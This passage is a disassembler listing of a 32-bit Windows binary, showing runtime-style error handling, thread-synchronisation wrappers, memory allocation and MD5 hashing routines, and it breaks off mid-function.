; =============== S U B R O U T I N E =======================================
sub_433E50 proc near ; CODE XREF: sub_401555j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jl short loc_433E63
cmp eax, 2
jg short loc_433E63
mov eax, 0FFFFFFF1h
retn
; ---------------------------------------------------------------------------
loc_433E63: ; CODE XREF: sub_433E50+6j
; sub_433E50+Bj
call near ptr 77C1F2BCh
nop
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
retn
sub_433E50 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433E90: ; CODE XREF: ___:00401ADCj
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_433ED5
call near ptr 27506FDh
nop
cmp esi, eax
jz short loc_433ED5
push esi
push 0
push 200h
call near ptr 2710000h
nop
test eax, eax
jnz short loc_433ED5
nop
call near ptr 27D089Fh
mov esi, eax
sub esi, 5
neg esi
sbb esi, esi
and esi, 2
inc esi
call near ptr 77C1F2BCh
nop
mov [eax], esi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_433ED5: ; CODE XREF: ___:00433E97j
; ___:00433EA1j ...
mov eax, [esp+0Ch]
test eax, eax
jz short loc_433EEE
call near ptr 77C1F2BCh
nop
mov dword ptr [eax], 28h
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_433EEE: ; CODE XREF: ___:00433EDBj
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433F20: ; CODE XREF: ___:00401514j
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_433F65
call near ptr 27506FDh
nop
cmp esi, eax
jz short loc_433F65
push esi
push 0
push 400h
nop
call near ptr 2710000h
test eax, eax
jnz short loc_433F65
call near ptr 27D089Fh
nop
mov esi, eax
sub esi, 5
neg esi
sbb esi, esi
and esi, 2
inc esi
nop
call near ptr 77C1F2BCh
mov [eax], esi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_433F65: ; CODE XREF: ___:00433F27j
; ___:00433F31j ...
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433F90: ; CODE XREF: ___:00401B5Ej
push 0
call near ptr 2831C1Ah
nop
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433FB0 proc near ; CODE XREF: sub_401C8Aj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
xor edi, edi
test eax, eax
jz short loc_433FCF
mov edi, 1
call near ptr 77C1F2BCh
nop
mov [eax], edi
pop edi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_433FCF: ; CODE XREF: sub_433FB0+Aj
push 4
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_433FE7
mov edi, 0Ch
loc_433FE7: ; CODE XREF: sub_433FB0+30j
mov eax, [esp+8+arg_8]
push 0
push 3FFFFFFFh
push eax
push 0
nop
call near ptr 2750000h
test eax, eax
mov [esi], eax
jnz short loc_434014
mov edi, 1Ch
nop
call near ptr 77C1F2BCh
mov [eax], edi
pop edi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_434014: ; CODE XREF: sub_433FB0+4Fj
test edi, edi
jz short loc_434026
nop
call near ptr 77C1F2BCh
mov [eax], edi
pop edi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_434026: ; CODE XREF: sub_433FB0+66j
mov ecx, [esp+8+arg_0]
pop edi
xor eax, eax
mov [ecx], esi
pop esi
retn
sub_433FB0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434070 proc near ; CODE XREF: sub_401690j
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
test edi, edi
jz short loc_434095
mov esi, [edi]
test esi, esi
jz short loc_434095
mov dword ptr [edi], 0
mov eax, [esi]
push eax
nop
call near ptr 28406F3h
test eax, eax
jnz short loc_4340A7
mov [edi], esi
loc_434095: ; CODE XREF: sub_434070+8j
; sub_434070+Ej
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 16h
pop edi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_4340A7: ; CODE XREF: sub_434070+21j
push esi
nop
call near ptr 77C2C21Bh
add esp, 4
xor eax, eax
pop edi
pop esi
retn
sub_434070 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4340E0 proc near ; CODE XREF: sub_4010A5j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
test eax, eax
jz short loc_434113
mov eax, [eax]
test eax, eax
jz short loc_434113
mov eax, [eax]
push 0
push eax
nop
call near ptr 2780782h
cmp eax, 102h
jnz short loc_434125
mov esi, 0Bh
nop
call near ptr 77C1F2BCh
mov [eax], esi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_434113: ; CODE XREF: sub_4340E0+7j
; sub_4340E0+Dj
mov esi, 16h
call near ptr 77C1F2BCh
nop
mov [eax], esi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_434125: ; CODE XREF: sub_4340E0+1Fj
xor eax, eax
pop esi
retn
sub_4340E0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434150 proc near ; CODE XREF: sub_401041j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
test eax, eax
jz short loc_43417D
mov eax, [eax]
test eax, eax
jz short loc_43417D
mov eax, [eax]
push eax
call sub_40164A
; ---------------------------------------------------------------------------
db 8Bh
dd 4C483F0h, 1F74F685h, 0B146E890h, 3089777Eh, 5EFFC883h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
loc_43417D: ; CODE XREF: sub_434150+7j
; sub_434150+Dj
mov esi, 16h
nop
call near ptr 77C1F2BCh
mov [eax], esi
or eax, 0FFFFFFFFh
pop esi
retn
sub_434150 endp
; ---------------------------------------------------------------------------
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4341C0 proc near ; CODE XREF: sub_4018A7j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 0Ch
push ebp
mov ebp, [esp+10h+arg_0]
test ebp, ebp
push esi
jnz short loc_4341E3
mov esi, 16h
call near ptr 77C1F2BCh
nop
mov [eax], esi
pop esi
or eax, 0FFFFFFFFh
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_4341E3: ; CODE XREF: sub_4341C0+Bj
push ebx
push edi
mov edi, [esp+1Ch+arg_4]
test edi, edi
jnz short loc_4341F2
or ebx, 0FFFFFFFFh
jmp short loc_434251
; ---------------------------------------------------------------------------
loc_4341F2: ; CODE XREF: sub_4341C0+2Bj
lea eax, [esp+1Ch+var_C]
xor ebx, ebx
push eax
nop
call near ptr 77C49113h
mov ecx, [edi]
mov esi, [esp+20h+var_C]
add esp, 4
cmp ecx, esi
jl short loc_434251
mov edx, [edi+4]
mov eax, 431BDE83h
add edx, 7A120h
mul edx
lea eax, [ecx+ecx*4]
lea ecx, [esi+esi*4]
shr edx, 12h
lea eax, [eax+eax*4]
lea ecx, [ecx+ecx*4]
lea eax, [eax+eax*4]
lea ecx, [ecx+ecx*4]
shl ecx, 3
lea eax, [edx+eax*8]
sub eax, ecx
mov ecx, [esp+1Ch+var_8]
and ecx, 0FFFFh
cmp eax, ecx
jbe short loc_434251
sub eax, ecx
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_434251
dec ebx
loc_434251: ; CODE XREF: sub_4341C0+30j
; sub_4341C0+4Aj ...
mov edx, [ebp+0]
push ebx
mov eax, [edx]
push eax
call sub_401D84
sub_4341C0 endp
; ---------------------------------------------------------------------------
db 83h, 0C4h, 8
dd 0F685F08Bh, 11745B5Fh, 0B04EE890h, 3089777Eh, 0FFC8835Eh
dd 0CC4835Dh, 0C0335EC3h, 0CC4835Dh, 909090C3h, 3 dup(90909090h)
dd 10h dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_4342D0 proc near ; CODE XREF: sub_40103Cj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jz short loc_4342EF
mov eax, [eax]
test eax, eax
jz short loc_4342EF
mov eax, [eax]
push 0
push 1
push eax
nop
call near ptr 2740C19h
test eax, eax
jnz short loc_4342FF
loc_4342EF: ; CODE XREF: sub_4342D0+6j
; sub_4342D0+Cj
call near ptr 77C1F2BCh
nop
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_4342FF: ; CODE XREF: sub_4342D0+1Dj
xor eax, eax
retn
sub_4342D0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434320 proc near ; CODE XREF: sub_402068j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
test eax, eax
jz short loc_434346
mov eax, [eax]
test eax, eax
jz short loc_434346
mov ecx, [esp+arg_4]
test ecx, ecx
jle short loc_434346
mov eax, [eax]
push 0
push ecx
push eax
call near ptr 2740C19h
nop
test eax, eax
jnz short loc_434356
loc_434346: ; CODE XREF: sub_434320+6j
; sub_434320+Cj ...
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_434356: ; CODE XREF: sub_434320+24j
xor eax, eax
retn
sub_434320 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_434370: ; CODE XREF: ___:0040143Dj
mov eax, [esp+4]
push esi
test eax, eax
push edi
jz short loc_4343BD
mov esi, [eax]
test esi, esi
jz short loc_4343BD
mov edi, [esp+10h]
test edi, edi
jz short loc_4343BD
mov eax, [esi]
push 0
push eax
nop
call near ptr 2780782h
cmp eax, 102h
jnz short loc_4343A1
xor eax, eax
mov [edi], eax
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4343A1: ; CODE XREF: ___:00434398j
mov edx, [esi]
lea ecx, [esp+0Ch]
push ecx
push 1
push edx
nop
call near ptr 2740C19h
mov eax, [esp+0Ch]
inc eax
mov [edi], eax
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4343BD: ; CODE XREF: ___:00434378j
; ___:0043437Ej ...
call near ptr 77C1F2BCh
nop
mov dword ptr [eax], 16h
pop edi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4343F0: ; CODE XREF: ___:0040222Fj
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 28h
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_434410: ; CODE XREF: ___:00402031j
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 28h
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_434430: ; CODE XREF: ___:00401CC6j
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 28h
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434450 proc near ; CODE XREF: sub_4019A1j
arg_0 = dword ptr 4
push esi
push offset dword_510940
xor esi, esi
call near ptr 7C901005h
nop
mov ecx, [esp+4+arg_0]
mov eax, [ecx]
cmp eax, 0FFFFFFFFh
jnz short loc_434484
push esi
push ecx
call sub_402211
add esp, 8
mov esi, eax
push offset dword_510940
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_434484: ; CODE XREF: sub_434450+17j
test eax, eax
jnz short loc_43448D
mov esi, 16h
loc_43448D: ; CODE XREF: sub_434450+36j
push offset dword_510940
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
sub_434450 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4344C0 proc near ; CODE XREF: sub_402211j
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push ebp
mov ebp, [esp+0Ch+arg_0]
push esi
push edi
xor edi, edi
cmp ebp, edi
mov [esp+14h+var_4], edi
jnz short loc_4344DE
pop edi
pop esi
pop ebp
mov eax, 16h
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_4344DE: ; CODE XREF: sub_4344C0+11j
lea eax, [esp+14h+var_4]
push eax
call sub_401C3A
mov ebx, [esp+18h+arg_4]
add esp, 4
test eax, eax
jz short loc_434519
mov [esp+14h+var_4], 1
loc_4344FB: ; CODE XREF: sub_4344C0+5Ej
; sub_4344C0+63j
push 8
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_434530
pop edi
pop esi
pop ebp
mov eax, 0Ch
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_434519: ; CODE XREF: sub_4344C0+31j
cmp [esp+14h+var_4], 1
jle short loc_4344FB
cmp ebx, 1
jnz short loc_4344FB
pop edi
pop esi
pop ebp
mov eax, 28h
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_434530: ; CODE XREF: sub_4344C0+4Cj
mov eax, [esp+14h+var_4]
cmp eax, 1
jle short loc_43454D
mov [esi+4], eax
mov dword ptr [esi], 1
mov eax, edi
mov [ebp+0], esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_43454D: ; CODE XREF: sub_4344C0+77j
lea ecx, [esp+14h+arg_0]
push ecx
call sub_401A1E
mov edi, eax
add esp, 4
test edi, edi
jnz short loc_434583
mov edx, [esp+14h+arg_0]
lea eax, [esp+14h+arg_0]
lea ecx, [esi+4]
push eax
push ecx
mov [edx], ebx
call sub_4021BC
mov edi, eax
add esp, 8
test edi, edi
jnz short loc_434583
mov dword ptr [esi], 3
loc_434583: ; CODE XREF: sub_4344C0+9Ej
; sub_4344C0+BBj
lea edx, [esp+14h+arg_0]
push edx
call sub_4010AA
add esp, 4
test edi, edi
jnz short loc_43459F
mov eax, edi
mov [ebp+0], esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_43459F: ; CODE XREF: sub_4344C0+D2j
push esi
nop
call near ptr 77C2C21Bh
add esp, 4
mov eax, edi
mov dword ptr [ebp+0], 0
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_4344C0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_434600: ; CODE XREF: ___:00401109j
push ebx
push esi
push edi
mov edi, [esp+10h]
xor ebx, ebx
test edi, edi
jz loc_4346A5
mov esi, [edi]
test esi, esi
jz loc_4346A5
cmp esi, 0FFFFFFFFh
jz short loc_434668
cmp dword ptr [esi], 3
jnz short loc_43464D
lea eax, [esi+4]
push eax
call sub_402252
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_43469F
loc_434637: ; CODE XREF: ___:0043465Bj
push esi
mov dword ptr [edi], 0
nop
call near ptr 77C2C21Bh
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43464D: ; CODE XREF: ___:00434623j
push 1
push 0
push esi
call dword_5103C8 ; InterlockedCompareExchange
cmp eax, 1
jz short loc_434637
mov ebx, 16h
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_434668: ; CODE XREF: ___:0043461Ej
push offset dword_510940
nop
call near ptr 7C901005h
cmp dword ptr [edi], 0FFFFFFFFh
jnz short loc_43468F
push offset dword_510940
mov dword ptr [edi], 0
nop
call near ptr 7C9010EDh
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43468F: ; CODE XREF: ___:00434676j
push offset dword_510940
mov ebx, 10h
nop
call near ptr 7C9010EDh
loc_43469F: ; CODE XREF: ___:00434635j
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4346A5: ; CODE XREF: ___:0043460Bj
; ___:00434615j
pop edi
pop esi
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4346E0: ; CODE XREF: ___:004021E4j
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_434741
mov eax, [esi]
test eax, eax
jz short loc_434741
cmp eax, 0FFFFFFFFh
jnz short loc_434701
push esi
call sub_4019A1
add esp, 4
test eax, eax
jnz short loc_434746
loc_434701: ; CODE XREF: ___:004346F2j
mov esi, [esi]
push 1
push 2
push esi
call dword_5103C8 ; InterlockedCompareExchange
cmp eax, 2
jnz short loc_434723
loc_434713: ; CODE XREF: ___:00434721j
push 1
push 2
push esi
call dword_5103C8 ; InterlockedCompareExchange
cmp eax, 2
jz short loc_434713
loc_434723: ; CODE XREF: ___:00434711j
mov eax, [esi]
cmp eax, 2
jnz short loc_43472E
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_43472E: ; CODE XREF: ___:00434728j
cmp eax, 3
jnz short loc_434741
add esi, 4
push esi
call sub_402248
add esp, 4
pop esi
retn
; ---------------------------------------------------------------------------
loc_434741: ; CODE XREF: ___:004346E7j
; ___:004346EDj ...
mov eax, 16h
loc_434746: ; CODE XREF: ___:004346FFj
pop esi
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_434770: ; CODE XREF: ___:00401AB9j
mov eax, [esp+4]
push esi
test eax, eax
jz short loc_4347B1
mov esi, [eax]
test esi, esi
jz short loc_4347B1
cmp esi, 0FFFFFFFFh
jnz short loc_43478B
loc_434784: ; CODE XREF: ___:00434797j
mov eax, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_43478B: ; CODE XREF: ___:00434782j
push 2
push 1
push esi
call dword_5103C8 ; InterlockedCompareExchange
dec eax
jz short loc_434784
dec eax
jz short loc_4347AD
dec eax
jnz short loc_4347B1
add esi, 4
push esi
call sub_4010C3
add esp, 4
pop esi
retn
; ---------------------------------------------------------------------------
loc_4347AD: ; CODE XREF: ___:0043479Aj
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4347B1: ; CODE XREF: ___:00434777j
; ___:0043477Dj ...
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4347E0: ; CODE XREF: ___:00401942j
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_434830
mov eax, [esi]
test eax, eax
jz short loc_434830
cmp eax, 0FFFFFFFFh
jnz short loc_434801
push esi
call sub_4019A1
add esp, 4
test eax, eax
jnz short loc_434835
loc_434801: ; CODE XREF: ___:004347F2j
mov esi, [esi]
push 1
push 2
push esi
call dword_5103C8 ; InterlockedCompareExchange
dec eax
jz short loc_43482C
dec eax
jz short loc_434825
dec eax
jnz short loc_434830
add esi, 4
push esi
call sub_401785
add esp, 4
pop esi
retn
; ---------------------------------------------------------------------------
loc_434825: ; CODE XREF: ___:00434812j
mov eax, 10h
pop esi
retn
; ---------------------------------------------------------------------------
loc_43482C: ; CODE XREF: ___:0043480Fj
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_434830: ; CODE XREF: ___:004347E7j
; ___:004347EDj ...
mov eax, 16h
loc_434835: ; CODE XREF: ___:004347FFj
pop esi
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_434860: ; CODE XREF: ___:00401244j
push esi
mov esi, [esp+8]
push 0
push esi
call sub_401762
add esp, 8
test eax, eax
jnz short loc_43488C
mov eax, [esi+20h]
mov ecx, 1
cmp eax, ecx
jnz short loc_434887
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_434887: ; CODE XREF: ___:0043487Ej
xor eax, eax
mov [esi+20h], ecx
loc_43488C: ; CODE XREF: ___:00434872j
pop esi
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4348A0 proc near ; CODE XREF: sub_401767j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 0
push esi
call sub_401762
add esp, 8
test eax, eax
jnz short loc_43492C
call sub_4012E4
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_4348C4
mov eax, 2
pop esi
retn
; ---------------------------------------------------------------------------
loc_4348C4: ; CODE XREF: sub_4348A0+1Bj
push edi
push esi
push eax
call sub_401A64
add esp, 8
test eax, eax
jz short loc_4348DD
mov edi, 24h
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4348DD: ; CODE XREF: sub_4348A0+31j
cmp dword ptr [esi+20h], 1
jnz short loc_4348ED
mov edi, 16h
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4348ED: ; CODE XREF: sub_4348A0+41j
mov eax, [esi+4]
push eax
call sub_40164A
; ---------------------------------------------------------------------------
dw 0F88Bh
dd 8504C483h, 8B2575FFh, 85102444h, 8B0F74C0h, 5150044Eh
dd 0C07FE890h, 0C0850230h, 0E8560E74h, 0FFFCCE9Bh, 8B04C483h
dd 0C35E5FC7h, 3BFh, 5FC78B00h
; ---------------------------------------------------------------------------
loc_43492C: ; CODE XREF: sub_4348A0+12j
pop esi
retn
sub_4348A0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434960 proc near ; CODE XREF: sub_401609j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 10h
push 1
xor edi, edi
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_434985
mov ecx, [esp+8+arg_0]
pop edi
mov eax, 0Ch
mov [ecx], esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_434985: ; CODE XREF: sub_434960+15j
nop
call near ptr 27405CDh
cmp eax, 0FFFFFFFFh
mov [esi], eax
jnz short loc_4349AE
push esi
mov edi, 0Bh
nop
call near ptr 77C2C21Bh
mov edx, [esp+0Ch+arg_0]
add esp, 4
xor eax, eax
mov [edx], eax
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4349AE: ; CODE XREF: sub_434960+30j
mov eax, [esp+8+arg_4]
test eax, eax
jz short loc_4349CB
mov [esi+4], eax
mov eax, [esp+8+arg_0]
mov dword ptr [esi+8], 0FFFFFFFFh
mov [eax], esi
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4349CB: ; CODE XREF: sub_434960+54j
mov ecx, [esp+8+arg_0]
mov eax, edi
pop edi
mov [ecx], esi
pop esi
retn
sub_434960 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434A00 proc near ; CODE XREF: sub_401AB4j
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
push ebp
xor ebp, ebp
cmp ebx, ebp
jz loc_434A90
cmp [ebx+0Ch], ebp
jz short loc_434A6C
cmp [ebx+4], ebp
jz short loc_434A6C
lea eax, [ebx+8]
push eax
call sub_402248
add esp, 4
test eax, eax
jnz short loc_434A6C
push esi
mov esi, [ebx+0Ch]
cmp esi, ebp
jz short loc_434A5F
push edi
loc_434A33: ; CODE XREF: sub_434A00+5Cj
push esi
call sub_402248
add esp, 4
test eax, eax
jnz short loc_434A5A
mov edi, [esi+10h]
push esi
mov [esi+8], ebp
mov [esi+10h], ebp
call sub_4010C3
push esi
call sub_40105F
add esp, 8
mov esi, edi
loc_434A5A: ; CODE XREF: sub_434A00+3Ej
cmp esi, ebp
jnz short loc_434A33
pop edi
loc_434A5F: ; CODE XREF: sub_434A00+30j
lea eax, [ebx+8]
push eax
call sub_4010C3
add esp, 4
pop esi
loc_434A6C: ; CODE XREF: sub_434A00+13j
; sub_434A00+18j ...
mov eax, [ebx]
push eax
call near ptr 2740000h
nop
cmp [ebx+4], ebp
jz short loc_434A86
lea ecx, [ebx+8]
push ecx
call sub_402252
add esp, 4
loc_434A86: ; CODE XREF: sub_434A00+78j
push ebx
call near ptr 77C2C21Bh
nop
add esp, 4
loc_434A90: ; CODE XREF: sub_434A00+Aj
pop ebp
xor eax, eax
pop ebx
retn
sub_434A00 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_434AD0 proc near ; CODE XREF: sub_4020F9j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, dword_5103B4
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_0]
cmp esi, eax
jz short loc_434AF4
call sub_4012E4
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_434B03
pop esi
mov eax, 2
pop ebx
retn
; ---------------------------------------------------------------------------
loc_434AF4: ; CODE XREF: sub_434AD0+11j
push eax
call sub_401190
; ---------------------------------------------------------------------------
add esp, 4
test eax, eax
jnz short loc_434B03
mov eax, ebx
loc_434B03: ; CODE XREF: sub_434AD0+1Aj
; sub_434AD0+2Fj
push edi
xor edi, edi
test esi, esi
jz short loc_434B65
test eax, eax
jz short loc_434B52
mov ecx, [esi+4]
test ecx, ecx
jz short loc_434B52
test ebx, ebx
jz short loc_434B52
mov ecx, [eax+80h]
test ecx, ecx
mov [esp+0Ch+arg_0], ecx
jz short loc_434B3D
loc_434B27: ; CODE XREF: sub_434AD0+65j
cmp [ecx+8], esi
jz short loc_434B39
mov ecx, [ecx+0Ch]
test ecx, ecx
mov [esp+0Ch+arg_0], ecx
jnz short loc_434B27
jmp short loc_434B3D
; ---------------------------------------------------------------------------
loc_434B39: ; CODE XREF: sub_434AD0+5Aj
test ecx, ecx
jnz short loc_434B52
loc_434B3D: ; CODE XREF: sub_434AD0+55j
; sub_434AD0+67j
push esi
push eax
lea eax, [esp+14h+arg_0]
push eax
call sub_401DDE
mov edi, eax
add esp, 0Ch
test edi, edi
jnz short loc_434B65
loc_434B52: ; CODE XREF: sub_434AD0+3Cj
; sub_434AD0+43j ...
mov ecx, [esi]
push ebx
push ecx
nop
call near ptr 2760000h
test eax, eax
jnz short loc_434B65
mov edi, 0Bh
loc_434B65: ; CODE XREF: sub_434AD0+38j
; sub_434AD0+80j ...
mov eax, edi
pop edi
pop esi
pop ebx
retn
sub_434AD0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_434BA0 proc near ; CODE XREF: sub_401190j
push ebx
push esi
push edi
nop
call near ptr 27D089Fh
mov esi, eax
call sub_438250
sub_434BA0 endp
; ---------------------------------------------------------------------------
dd 448BF88Bh, 88B1024h, 45E89051h, 56022FC0h, 0E890D88Bh
dd 22FC1F8h, 36CAE857h, 8B5F0000h, 0C35B5EC3h, 3 dup(90909090h)
dd 4 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_434BF0 proc near ; CODE XREF: sub_401A69j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
mov [eax+14h], ecx
mov [eax+10h], ecx
mov dword ptr [eax], 67452301h
mov dword ptr [eax+4], 0EFCDAB89h
mov dword ptr [eax+8], 98BADCFEh
mov dword ptr [eax+0Ch], 10325476h
retn
sub_434BF0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434C30 proc near ; CODE XREF: sub_401C26j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
push edi
mov edi, [esp+10h+arg_8]
mov ecx, [esi+10h]
mov eax, ecx
lea edx, ds:0[edi*8]
shr eax, 3
lea ecx, [ecx+edi*8]
and eax, 3Fh
cmp ecx, edx
mov [esi+10h], ecx
jnb short loc_434C5B
inc dword ptr [esi+14h]
loc_434C5B: ; CODE XREF: sub_434C30+26j
mov ebx, [esi+14h]
mov ecx, edi
shr ecx, 1Dh
add ebx, ecx
mov [esi+14h], ebx
mov ebx, 40h
sub ebx, eax
cmp edi, ebx
jb short loc_434CB9
mov edx, [esp+10h+arg_4]
push ebx
lea eax, [eax+esi+18h]
push edx
push eax
call sub_435A30
lea ecx, [esi+18h]
push ecx
push esi
call sub_434DA0
mov ebp, ebx
add ebx, 3Fh
add esp, 14h
cmp ebx, edi
jnb short loc_434CB5
loc_434C99: ; CODE XREF: sub_434C30+83j
